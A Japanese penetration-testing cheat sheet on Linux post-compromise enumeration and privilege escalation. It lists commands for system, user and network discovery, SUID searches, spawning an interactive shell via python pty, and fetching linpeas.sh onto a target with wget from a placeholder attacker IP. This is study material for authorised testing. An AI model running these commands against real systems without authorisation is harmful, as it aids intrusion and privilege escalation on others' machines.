5.Linuxの侵入と権限昇格
5.1. Linuxシステムの列挙
列挙はシステムにアクセスした後に実行する必要がある最初の作業となる。
脆弱性を悪用してシステムにアクセスし、その結果 root レベルのアクセスが行われたか、低い特権アカウントを使用してコマンドを送信する方法を見つける可能性がある。
列挙は侵害前と同様に侵害後のフェーズでも重要となる。
5.1.1. マシンに関する情報の列挙
Linuxマシンに関する情報の列挙に役立つコマンド/ファイルなどを記載する。
hostnameコマンド
ターゲットマシンのホスト名を表示するコマンド。
企業ネットワーク内でのマシンの場合、ホスト名にターゲットシステムの役割に関する情報が含まれている場合がある。
hostname
uname -aコマンド
システム情報を出力して、システムで使用されているカーネルに関する追加の詳細を表示するコマンド。
特権昇格につながる可能性のあるカーネルの潜在的な脆弱性を検索するときに役立つ。
uname -a
cat /etc/*-releaseコマンド
cat /etc/*-release
/etc/hostsファイル
ネットワーク上のホスト名とIPアドレスの対応関係を定義するファイル。
このファイルにはローカルネットワーク内のコンピューター名やドメイン名とそれに対応するIPアドレスがリストされている。
/proc/versionファイル
ターゲットシステムのプロセスに関する情報が記載されているファイル。
カーネルのバージョンに関する情報や、コンパイラ (GCC など) がインストールされているかどうかなどの追加データが得られる場合がある。
cat /proc/version
/proc/self/environファイル
環境変数一覧が格納されたファイル。
/etc/issueファイル
システムを識別することができるファイル。
cat /etc/issue
パッケージファイルの確認
# Debian系
rpm -qa
dpkg -l
定期実行(cron)の確認
crontab -l
ls -la /etc/cron*
ls -la /var/spool/cron/*
一時ファイルの確認
cd /tmp
cd /dev/shm
cd /var/tmp
psコマンド
Linux システム上で実行中のプロセスを確認できるコマンド。
# 実行中のプロセスを確認できる
ps
# 全てのプロセスを表示
ps -A
# プロセスツリーの表示
ps axjf
# すべてのユーザーのプロセスが表示
ps aux
envコマンド
環境変数を表示するコマンド。
PATH 変数には、ターゲットシステム上でコードを実行したり、特権昇格に利用したりするために使用できるコンパイラまたはスクリプト言語が含まれる場合がある。
env
sudo -lコマンド
ユーザーがsudo
を使用して実行できるすべてのコマンドをリストできるコマンド。
sudo -l
idコマンド
ユーザーの特権レベルとグループ メンバーシップの概要を表示するコマンド。
id <ユーザ名>
/etc/passwdファイル
システム上のユーザを発見できる。
cat /etc/passwd
historyコマンド
コマンド履歴を確認できるコマンド。
history
ifconfigコマンド
システムのネットワークインターフェイスに関する情報が取得できるコマンド。
別のネットワークへのアクセスヒントになりえる。
ifconfig
ip routeコマンド
ネットワークルートが存在するかを確認できるコマンド。
ip route
netstatコマンド
# 全てのリスニングポートと接続の確立の表示
netstat -a
# 上記をTCP/UDPで分けて表示
netstat -at
netstat -au
# リスニングモードのポートを表示(待ち受け)
netstat -l
# ネットワーク賞の統計表示
netstat -s/-t
# サービス名/PIDを含むリスト表示
netstat -tpl
# インターフェースの統計情報を表示
netstat -i
ssコマンド
# 全てのリスニングポートと接続の確立の表示
ss -a
# TCP/UDPで分けて表示
# TCP
ss -at
# UDP
ss -au
# リスニングモードのポートを表示 (待ち受け)
ss -l
# TCPリスニングポートのみ
ss -lt
# UDPリスニングポートのみ
ss -lu
# ネットワーク層の統計表示
ss -s
# サービス名/PIDを含むリスト表示
ss -tpl
# インターフェースの統計情報を表示
ip -s link
findコマンド
ファイルを絞り込み表示/検索できるコマンド。
find [場所] -name [名称]
find / -type d -name [ディレクトリ名]
find / -type f -perm 0777 # 全ユーザが読み取り、書き込み、実行可能なファイルを検索
find / -perm a=x # 実行可能ファイルの検索
find /home -user frank # ユーザー「frank」のすべてのファイルを「/home」の下で検索
find / -mtime 10 # 過去 10 日間に変更されたファイルを検索
find / -atime 10 # 過去 10 日間にアクセスされたファイルを検索
find / -cmin -60 # 過去 1 時間 (60 分) 以内に変更されたファイルを検索
find / -amin -60 # 過去 1 時間 (60 分) 以内にアクセスしたファイルを検索
find / -size 50M # サイズが 50 MB のファイルを検索
# 誰でも書き込み可能なフォルダーを検索
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# SUID ビット(ファイル所有者権限を引き継いで実行するパーミッション)を持つファイルを検索
# これにより、現在のユーザーよりも高い特権レベルでファイルを実行できるようになる
find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f -user root 2>/dev/null
その他コマンド
# 現在のユーザグループ表示
groups
# バイナリファイルや非表示文字列を含むファイルから可読なテキスト(ASCIIまたはUnicode文字列)を抽出
strings <ファイル>
# バイナリファイル(.bin)を16進数形式(HEXダンプ)に変換
xxd <バイナリファイル> # バイナリファイルを16進数で表示
xxd -p <バイナリファイル> # 簡潔な16進数表示
xxd -r <ヘクサナリファイル> > <バイナリファイル> # HEXダンプをバイナリに戻す
5.1.2. システム設定不備の調査
SUID(SGID)
SUID(ファイルの所有者権限で操作可能パーミッション)が設定されているか確認。
ユーザにs
がついていればSUID、グループにs
がついていればSGIDとなる。
$ls -l /usr/bin/cron
-rwsr-xr-x 1 root root 14720 Apr 22 2023 /usr/bin/cron
5.1.3. Linux向け自動列挙ツール
ツールを使用すると、列挙プロセスの時間を節約できる。
ただし、これらのツールは、一部の権限昇格ベクトルを見逃す可能性がある。
- LinPeas : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
- LinuxSmartEnumeration: https://github.com/diego-treitos/linux-smart-enumeration
- LinuxPrivateChecker: https://github.com/linted/linuxprivchecker
- Pspy: https://github.com/DominicBreuker/pspy
5.2. Linuxシステムのシェル奪取
5.2.1. 各ケースにおけるシェルの奪取
shellコマンド
通常の実行権限が奪える場合がある。 なお、対話文字は表示されない。
shell
対話的シェルの奪取
以下手順で対話的シェルを奪取できる。
which python
/usr/bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'
以下でも可能。
/bin/bash -i
5.3. Linuxシステムの権限昇格
5.3.1. Linuxシステムのローカル権限昇格
Linuxのローカル権限昇格に関してはGTFObinsのサイトが有用となる。
5.3.2. linpeas.sh(Linux Privilege Escalation Awesome Scripts)
linpeas.shはLinuxシステム上で権限昇格の可能性を検出するための自動スクリプト。
このスクリプトを使うと、システム内の潜在的な脆弱性や誤設定をチェックすることができる。
https://github.com/peass-ng/PEASS-ng
sudo apt install peass
使い方
# linpeas.shがあるフォルダに移動
cd /usr/share/peass/linpeas
# httpサーバを立てる
python3 -m http.server 5000
# ターゲット端末でダウンロード
wget [攻撃端末のIPアドレス]:5000/linpeas.sh
# 実行権限付与
chmod +x linpeas.sh
# 実行と結果の保存
./linpeas.sh | tee linpeas_output.txt